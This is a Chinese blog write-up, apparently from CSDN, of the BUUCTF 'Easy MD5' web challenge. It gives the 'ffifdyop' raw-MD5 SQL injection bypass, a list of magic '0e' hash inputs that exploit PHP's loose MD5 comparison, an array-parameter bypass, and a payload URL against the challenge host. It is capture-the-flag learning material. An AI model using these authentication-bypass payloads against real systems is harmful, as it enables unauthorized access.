日常练习之web(Easy MD5)

打开题目是这样一个界面,猜测可能是注入问题,试了很久无果
在这里插入图片描述查看源码无意间看到hint
在这里插入图片描述

是注入,但是不会,去看大佬wp,发现输入ffifdyop可以绕过,原因是ffifdyop会被解析为16进制276f722736c95d99e921722cf9ed621c,16进制又会被转为ascii,刚好是’or’6,与原句拼接刚好成为一个永真,达到绕过的效果(这里我搜了很多wp都没有很具体解释ffifdyop怎么来的,总之记下就好ffifdyop代表’or’6 以后碰到类似的题可以直接用),绕过之后出现另一个页面
在这里插入图片描述
查看源码

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

这属于MD5弱比较,根据PHP代码的原理0e开头的数都是一样的(0e它会认为是科学计数法0的多少次方,0的次方还是0)

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904
payload=http://e983ea8c-ae5f-4b92-8d5e-f92d88fd04ee.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=s878926199a

弹出下一个页面
在这里插入图片描述这里可以利用数组绕过,因为MD5不能解析数组,所以会返回null,null=null,导致了绕过

param[ ]=QNKCDZO&param2[ ]=s214587387a
在这里插入图片描述拿到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值